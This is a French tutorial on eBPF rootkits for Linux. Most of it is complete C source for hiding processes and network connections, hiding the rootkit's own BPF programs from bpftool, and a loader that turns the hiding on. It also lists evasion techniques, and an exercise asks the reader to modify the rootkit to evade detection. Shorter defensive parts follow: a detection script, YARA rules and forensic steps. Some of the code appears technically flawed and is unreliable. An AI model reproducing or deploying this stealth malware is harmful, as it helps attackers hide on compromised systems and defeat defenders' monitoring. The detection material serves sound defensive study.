Techniques avancées de furtivité kernel Linux via eBPF : Hide process/network, bypass bpftool, rootkit persistance et évasion des détections modernes – Pour experts en sécurité Linux
eBPF (extended Berkeley Packet Filter) est une technologie kernel Linux qui permet d'exécuter du code sandboxé dans le kernel sans recompiler ni charger de modules. Initialement conçu pour le networking, eBPF est devenu une plateforme d'observation et de manipulation du kernel complète. En 2026, cette technologie est utilisée à la fois par les outils de sécurité (Falco, Cilium) et par les attaquants pour créer des rootkits ultra-furtifs.
lsmod ou dmesg)CONFIG_BPF=y, CONFIG_BPF_SYSCALL=y, CONFIG_BPF_JIT=yLe verifier eBPF impose des restrictions qui doivent être contournées pour un rootkit :
| Restriction | Contournement 2026 | Impact Sécurité |
|---|---|---|
| Pas de boucles infinies | Boucles bornées avec #pragma unroll |
⚠️ Moyen |
| Accès mémoire via helpers | bpf_probe_read() avec déréférencement |
⚠️ Élevé |
| Pas d'appels système directs | Helpers BPF + maps pour communication | ⚠️ Moyen |
| Taille programme limitée (1M insns) | Programmes multiples + tail calls | ⚠️ Faible |
| Stack size limitée (512 bytes) | Utilisation de maps pour storage | ⚠️ Moyen |
Pour faciliter le développement, certaines restrictions peuvent être assouplies :
# /etc/sysctl.d/99-ebpf-lab.conf
# Augmenter la mémoire BPF (par défaut: 64MB)
vm.mmap_rnd_bits = 32
vm.mmap_rnd_compat_bits = 16
# Permettre les programmes BPF complexes
kernel.bpf_stats_enabled = 1
kernel.bpf_jit_kallsyms = 1
kernel.bpf_jit_harden = 0 # Désactiver le hardening pour le lab
# Augmenter les limites BPF
kernel.bpf_max_progs = 1024
kernel.bpf_max_maps = 1024
# Charger les configurations
sysctl -p /etc/sysctl.d/99-ebpf-lab.conf
# Vérifier les cgroups v2 pour certains hooks BPF
mount -t cgroup2 none /sys/fs/cgroup
echo "+cgroup2" >> /etc/initramfs-tools/modules
update-initramfs -u
kernel.bpf_jit_harden=2.
Ce programme hooke les syscalls getdents et getdents64 pour filtrer les processus dans /proc :
// hide_process.bpf.c
// eBPF program to hide specific processes from /proc
// Compile: clang -target bpf -Wall -O2 -c hide_process.bpf.c -o hide_process.bpf.o
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/dirent.h>
// BPF map to store PIDs to hide
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 256);
__type(key, pid_t);
__type(value, u32);
} hidden_pids SEC(".maps");
// BPF map for configuration
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, u32);
__type(value, u32);
} config SEC(".maps");
SEC("kprobe/vfs_getdents")
int BPF_KPROBE(kprobe_vfs_getdents, struct file *file, struct linux_dirent *dirent,
unsigned int count, filldir_t filldir, filldir_t *result)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
// Get current PID
pid_t pid = bpf_get_current_pid_tgid() >> 32;
// Check if this PID should be hidden
u32 *hidden = bpf_map_lookup_elem(&hidden_pids, &pid);
if (hidden) {
// Return error to hide directory entries
bpf_override_return(ctx, -ENOENT);
return 0;
}
return 0;
}
SEC("kprobe/proc_pid_readdir")
int BPF_KPROBE(kprobe_proc_pid_readdir, struct file *file, struct dir_context *ctx)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
// Filter PID directories in /proc
long ret = bpf_probe_read_kernel(&key, sizeof(key), &ctx->pos);
if (ret < 0)
return 0;
// Check if this PID should be hidden
u32 *hidden = bpf_map_lookup_elem(&hidden_pids, &key);
if (hidden) {
// Skip this directory entry
bpf_override_return(ctx, 0);
return 0;
}
return 0;
}
// Hook ps, top commands by filtering /proc/stat, /proc/loadavg
SEC("kprobe/seq_show")
int BPF_KPROBE(kprobe_seq_show, struct seq_file *m, void *v)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
// Get file being read
struct file *file = m->private;
const char *name = BPF_CORE_READ(file, f_path.dentry, d_name.name);
char proc_stat[] = "stat";
char proc_loadavg[] = "loadavg";
// Filter /proc/stat and /proc/loadavg
if (bpf_probe_read_kernel_str(&key, sizeof(key), name) > 0) {
if (bpf_strncmp(name, sizeof(proc_stat), proc_stat) == 0 ||
bpf_strncmp(name, sizeof(proc_loadavg), proc_loadavg) == 0) {
// Here we would filter specific PIDs from the output
// This requires more complex parsing logic
}
}
return 0;
}
char _license[] SEC("license") = "GPL";
Ce programme hooke les fonctions réseau pour cacher des connexions TCP/UDP :
// hide_network.bpf.c
// eBPF program to hide network connections
// Compile: clang -target bpf -Wall -O2 -c hide_network.bpf.c -o hide_network.bpf.o
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/types.h>
#include <linux/socket.h>
#include <linux/tcp.h>
#include <linux/in.h>
#include <linux/net.h>
// Map to store connections to hide
struct conn_key {
u32 local_ip;
u32 remote_ip;
u16 local_port;
u16 remote_port;
u8 protocol; // IPPROTO_TCP or IPPROTO_UDP
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, struct conn_key);
__type(value, u32);
} hidden_conns SEC(".maps");
// Map for /proc/net/tcp and /proc/net/udp filtering
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 256);
__type(key, u32); // PID
__type(value, u32);
} hidden_pids_net SEC(".maps");
SEC("kprobe/tcp4_seq_show")
int BPF_KPROBE(kprobe_tcp4_seq_show, struct seq_file *seq, void *v)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
// This is called for each line in /proc/net/tcp
// We can filter specific connections here
// Get socket from seq_file
struct sock *sk = (struct sock *)v;
if (!sk)
return 0;
// Extract connection info
struct conn_key conn = {0};
conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
conn.protocol = IPPROTO_TCP;
// Check if this connection should be hidden
u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
if (hidden) {
// Skip this line by returning 0
return 0;
}
// Check if PID should be hidden
u32 pid = BPF_CORE_READ(sk, sk_pid);
u32 *hidden_pid = bpf_map_lookup_elem(&hidden_pids_net, &pid);
if (hidden_pid) {
return 0;
}
return 0;
}
// Hook for UDP connections
SEC("kprobe/udp4_seq_show")
int BPF_KPROBE(kprobe_udp4_seq_show, struct seq_file *seq, void *v)
{
// Similar logic to TCP hook
return 0;
}
// Hook netstat, ss commands by intercepting getsockopt
SEC("kprobe/sock_common_getsockopt")
int BPF_KPROBE(kprobe_sock_common_getsockopt, struct sock *sk, int level,
int optname, char __user *optval, int __user *optlen)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
// Check for TCP_INFO or other socket info queries
if (level == SOL_TCP && optname == TCP_INFO) {
struct conn_key conn = {0};
conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
conn.protocol = IPPROTO_TCP;
u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
if (hidden) {
// Return error to hide connection
bpf_override_return(ctx, -ENOENT);
return 0;
}
}
return 0;
}
// Hook for hiding connections from ss command
SEC("kprobe/tcp_diag_get_info")
int BPF_KPROBE(kprobe_tcp_diag_get_info, struct sock *sk,
struct inet_diag_msg *r, void *_info)
{
u32 key = 0;
u32 *enabled = bpf_map_lookup_elem(&config, &key);
if (!enabled || *enabled == 0)
return 0;
struct conn_key conn = {0};
conn.local_ip = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
conn.remote_ip = BPF_CORE_READ(sk, __sk_common.skc_daddr);
conn.local_port = BPF_CORE_READ(sk, __sk_common.skc_num);
conn.remote_port = BPF_CORE_READ(sk, __sk_common.skc_dport);
conn.protocol = IPPROTO_TCP;
u32 *hidden = bpf_map_lookup_elem(&hidden_conns, &conn);
if (hidden) {
// Clear the diag info to hide connection
r->idiag_state = 0;
return 0;
}
return 0;
}
char _license[] SEC("license") = "GPL";
Programme C pour charger et contrôler les programmes eBPF :
// ebpf_rootkit.c
// User space loader and controller for eBPF rootkit
// Compile: gcc -o ebpf_rootkit ebpf_rootkit.c -lbpf -lelf -lz
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include <signal.h>
#include <sys/resource.h>
static struct bpf_object *obj_hide_process = NULL;
static struct bpf_object *obj_hide_network = NULL;
static int map_fd_hidden_pids = -1;
static int map_fd_hidden_conns = -1;
static int map_fd_config = -1;
// Set RLIMIT_MEMLOCK to unlimited for BPF
static void bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK: %s\n", strerror(errno));
exit(1);
}
}
// Load and attach eBPF programs
int load_ebpf_programs(void)
{
int err;
// Load hide_process eBPF program
obj_hide_process = bpf_object__open_file("hide_process.bpf.o", NULL);
if (libbpf_get_error(obj_hide_process)) {
fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
return -1;
}
err = bpf_object__load(obj_hide_process);
if (err) {
fprintf(stderr, "Failed to load BPF object: %s\n", strerror(errno));
return -1;
}
// Load hide_network eBPF program
obj_hide_network = bpf_object__open_file("hide_network.bpf.o", NULL);
if (libbpf_get_error(obj_hide_network)) {
fprintf(stderr, "Failed to open BPF object: %s\n", strerror(errno));
return -1;
}
err = bpf_object__load(obj_hide_network);
if (err) {
fprintf(stderr, "Failed to load BPF object: %s\n", strerror(errno));
return -1;
}
// Get map file descriptors
map_fd_hidden_pids = bpf_object__find_map_fd_by_name(obj_hide_process, "hidden_pids");
map_fd_hidden_conns = bpf_object__find_map_fd_by_name(obj_hide_network, "hidden_conns");
map_fd_config = bpf_object__find_map_fd_by_name(obj_hide_process, "config");
if (map_fd_hidden_pids < 0 || map_fd_hidden_conns < 0 || map_fd_config < 0) {
fprintf(stderr, "Failed to find BPF maps\n");
return -1;
}
// Enable rootkit
__u32 key = 0;
__u32 value = 1;
err = bpf_map_update_elem(map_fd_config, &key, &value, BPF_ANY);
if (err) {
fprintf(stderr, "Failed to enable rootkit: %s\n", strerror(errno));
return -1;
}
printf("[+] eBPF rootkit loaded and enabled\n");
return 0;
}
// Add PID to hide
int hide_pid(pid_t pid)
{
__u32 value = 1;
int err = bpf_map_update_elem(map_fd_hidden_pids, &pid, &value, BPF_ANY);
if (err) {
fprintf(stderr, "Failed to hide PID %d: %s\n", pid, strerror(errno));
return -1;
}
printf("[+] PID %d is now hidden\n", pid);
return 0;
}
// Add connection to hide
int hide_connection(__u32 local_ip, __u32 remote_ip,
__u16 local_port, __u16 remote_port, __u8 protocol)
{
struct conn_key key = {
.local_ip = local_ip,
.remote_ip = remote_ip,
.local_port = local_port,
.remote_port = remote_port,
.protocol = protocol
};
__u32 value = 1;
int err = bpf_map_update_elem(map_fd_hidden_conns, &key, &value, BPF_ANY);
if (err) {
fprintf(stderr, "Failed to hide connection: %s\n", strerror(errno));
return -1;
}
printf("[+] Connection hidden: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n",
(local_ip >> 24) & 0xFF, (local_ip >> 16) & 0xFF,
(local_ip >> 8) & 0xFF, local_ip & 0xFF, ntohs(local_port),
(remote_ip >> 24) & 0xFF, (remote_ip >> 16) & 0xFF,
(remote_ip >> 8) & 0xFF, remote_ip & 0xFF, ntohs(remote_port));
return 0;
}
// Cleanup on exit
void cleanup(int sig)
{
printf("\n[!] Cleaning up eBPF rootkit\n");
// Disable rootkit
__u32 key = 0;
__u32 value = 0;
bpf_map_update_elem(map_fd_config, &key, &value, BPF_ANY);
if (obj_hide_process)
bpf_object__close(obj_hide_process);
if (obj_hide_network)
bpf_object__close(obj_hide_network);
exit(0);
}
int main(int argc, char **argv)
{
// Handle signals
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
// Increase memory limits for BPF
bump_memlock_rlimit();
// Load eBPF programs
if (load_ebpf_programs() < 0) {
fprintf(stderr, "Failed to load eBPF programs\n");
return 1;
}
// Example: hide current process
hide_pid(getpid());
// Example: hide a TCP connection (replace with actual values)
// hide_connection(0x7F000001, 0xC0A80101, htons(4444), htons(8080), IPPROTO_TCP);
printf("[+] Rootkit active. Press Ctrl+C to exit.\n");
// Keep running
while (1) {
sleep(1);
}
return 0;
}
Modifier les maps BPF pour qu'elles n'apparaissent pas dans bpftool map list en utilisant des flags non documentés ou en hookant les syscalls BPF.
Obfuscation du code JIT généré via des gadgets eBPF aléatoires pour éviter les signatures statiques.
Utiliser des programmes eBPF pour cacher d'autres programmes eBPF en hookant bpf() syscall.
Cacher les données dans des maps BPF légitimes (type perf_event_array) qui sont moins surveillées.
Utiliser BPF CO-RE pour adapter dynamiquement le rootkit à différentes versions de kernel sans recompilation.
Détacher les programmes eBPF des hooks après chargement pour éviter la détection via bpftool prog list.
// anti_bpftool.bpf.c
// Hook bpf() syscall to hide our own BPF programs and maps
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
// Map of BPF program IDs to hide
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32); // BPF program ID
__type(value, u32);
} hidden_progs SEC(".maps");
// Map of BPF map IDs to hide
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 64);
__type(key, u32); // BPF map ID
__type(value, u32);
} hidden_maps SEC(".maps");
SEC("kprobe/security_bpf_prog")
int BPF_KPROBE(kprobe_security_bpf_prog, struct bpf_prog *prog)
{
u32 prog_id = BPF_CORE_READ(prog, aux, id);
u32 *hidden = bpf_map_lookup_elem(&hidden_progs, &prog_id);
if (hidden) {
// Return permission denied for queries about this program
bpf_override_return(ctx, -EPERM);
return 0;
}
return 0;
}
SEC("kprobe/security_bpf_map")
int BPF_KPROBE(kprobe_security_bpf_map, struct bpf_map *map)
{
u32 map_id = BPF_CORE_READ(map, id);
u32 *hidden = bpf_map_lookup_elem(&hidden_maps, &map_id);
if (hidden) {
// Return permission denied for queries about this map
bpf_override_return(ctx, -EPERM);
return 0;
}
return 0;
}
// Hook bpf_obj_get_info_by_fd to filter information
SEC("kprobe/bpf_obj_get_info_by_fd")
int BPF_KPROBE(kprobe_bpf_obj_get_info_by_fd, struct bpf_prog *prog,
union bpf_attr *attr, u32 attr_size)
{
if (attr->info.info_len > 0) {
u32 prog_id = BPF_CORE_READ(prog, aux, id);
u32 *hidden = bpf_map_lookup_elem(&hidden_progs, &prog_id);
if (hidden) {
// Clear info to hide program
char *info = (char *)attr->info.info;
bpf_probe_write_user(info, 0, attr->info.info_len);
bpf_override_return(ctx, -ENOENT);
return 0;
}
}
return 0;
}
char _license[] SEC("license") = "GPL";
#!/bin/bash
# detect_ebpf_rootkit.sh
# Advanced eBPF rootkit detection script for Linux 2026
echo "=== eBPF Rootkit Detection Scan ==="
echo "Started: $(date)"
echo ""
# Check for suspicious BPF programs
echo "[*] Checking BPF programs..."
bpftool prog list | grep -E "(kprobe|tracepoint|raw_tracepoint)" | while read line; do
prog_id=$(echo $line | awk '{print $1}' | sed 's/://')
prog_type=$(echo $line | awk '{print $3}')
prog_name=$(echo $line | awk '{print $8}')
# Suspicious patterns
if [[ "$prog_name" =~ ^$ ]] || [[ "$prog_name" =~ (hide|stealth|rootkit|secret) ]]; then
echo "[!] SUSPICIOUS BPF Program: $line"
echo " Dumping program:"
bpftool prog dump xlated id $prog_id 2>/dev/null | head -20
fi
done
echo ""
echo "[*] Checking BPF maps..."
bpftool map list | while read line; do
map_id=$(echo $line | awk '{print $1}' | sed 's/://')
# Check for hash maps with many entries (could be hiding PIDs/connections)
if echo $line | grep -q "hash"; then
entries=$(echo $line | awk '{print $3}')
if [ $entries -gt 100 ]; then
echo "[!] LARGE HASH MAP: $line"
echo " Dumping first few entries:"
bpftool map dump id $map_id 2>/dev/null | head -10
fi
fi
done
echo ""
echo "[*] Checking kernel modules that might be BPF loaders..."
lsmod | grep -E "(bpf|ebpf|kprob)" | grep -v "bpf_preload"
echo ""
echo "[*] Checking /proc/kallsyms for BPF programs..."
grep -E "(bpf_prog_[0-9a-f]+|__bpf_prog_)" /proc/kallsyms | head -20
echo ""
echo "[*] Checking for hooked syscalls..."
# Check if bpf() syscall is being hooked
grep "sys_bpf" /proc/kallsyms
strace -e trace=bpf -p 1 2>&1 | head -20
echo ""
echo "[*] Checking BPF statistics..."
cat /sys/fs/bpf/bpf_stats 2>/dev/null || echo "No bpf_stats available"
echo ""
echo "[*] Verifying BPF verifier logs..."
dmesg | grep -i "bpf" | tail -20
echo ""
echo "=== Scan Complete ==="
echo "Recommendations:"
echo "1. Use 'bpftool prog dump jited' to examine JIT-compiled code"
echo "2. Monitor bpf() syscall with auditd: 'auditctl -a always,exit -S bpf'"
echo "3. Consider using eBPF security tools: Falco, Tracee, Cilium Tetragon"
echo "4. Enable kernel lockdown mode if available"
echo "5. Regularly audit loaded BPF programs in production"
| Outil | Objectif | Commande |
|---|---|---|
| Falco | Runtime Security avec règles eBPF | falco --rules rules/ebpf_rootkit.yaml |
| Tracee | Détection de menaces eBPF | tracee --events anti_debugging,code_injection |
| Cilium Tetragon | eBPF-based Security Observability | tetragon --config detection.yaml |
| ebpfkit-monitor | Détection spécifique rootkits eBPF | ebpfkit-monitor --scan |
| BPFDoor Scanner | Détection backdoors eBPF | bpfdoor-scanner -a |
rule eBPF_Rootkit_Indicator {
meta:
description = "Detects eBPF rootkit ELF files"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
strings:
$bpf_section = ".BPF" ascii
$bpf_map_def = "maps" ascii
$bpf_license = "GPL" ascii
$bpf_helpers = "bpf_map_lookup_elem" ascii
$bpf_trace = "bpf_trace_printk" ascii
$hide_string = "hide" ascii nocase
$secret_string = "secret" ascii nocase
$stealth_string = "stealth" ascii nocase
// BPF syscall constants
$bpf_cmd_1 = "BPF_PROG_LOAD"
$bpf_cmd_2 = "BPF_MAP_CREATE"
$bpf_cmd_3 = "BPF_MAP_UPDATE_ELEM"
// Suspicious function names
$func_hide = "hide_pid"
$func_conceal = "conceal_connection"
$func_evade = "evade_detection"
condition:
// ELF header check
uint16(0) == 0x457F and
// Check for BPF sections and suspicious strings
(3 of ($bpf_*) or 2 of ($hide_string, $secret_string, $stealth_string) or
1 of ($func_*)) and
filesize < 100KB // BPF programs are usually small
}
rule eBPF_Hooking_Code {
meta:
description = "Detects eBPF hooking code patterns"
author = "PCTAMALOU Research 2026"
strings:
$kprobe_attach = "bpf_attach_kprobe"
$tracepoint_attach = "bpf_attach_tracepoint"
$raw_tp_attach = "bpf_raw_tracepoint_open"
$override_return = "bpf_override_return"
$probe_read = "bpf_probe_read"
$get_current = "bpf_get_current_pid_tgid"
$override = "override_return"
// Suspicious hook points
$hook_getdents = "getdents"
$hook_tcp_seq = "tcp4_seq_show"
$hook_seq_show = "seq_show"
$hook_proc_read = "proc_pid_readdir"
condition:
2 of ($kprobe_attach, $tracepoint_attach, $raw_tp_attach) and
2 of ($hook_*)
}
Objectif : Analyser un rootkit eBPF open source comme boopkit ou ebpfkit.
Objectif : Créer un programme eBPF qui détecte d'autres programmes eBPF malveillants.
Objectif : Modifier le rootkit eBPF pour contourner les détections de l'Exercice 2.
Objectif : Analyser une machine compromise avec un rootkit eBPF.
# Étapes d'analyse forensic:
1. Capturer la mémoire avec LiME ou AVML
2. Extraire les programmes eBPF de la mémoire
3. Analyser les maps BPF pour les données cachées
4. Reconstruire le code source du rootkit
5. Identifier les PIDs et connexions cachés
6. Générer un rapport d'incident complet
eBPF représente à la fois une révolution technologique pour l'observabilité et la sécurité Linux, et une nouvelle surface d'attaque significative. En 2026, les rootkits eBPF sont devenus sophistiqués, capables de cacher des processus, des connexions réseau, et même leur propre présence avec une furtivité remarquable.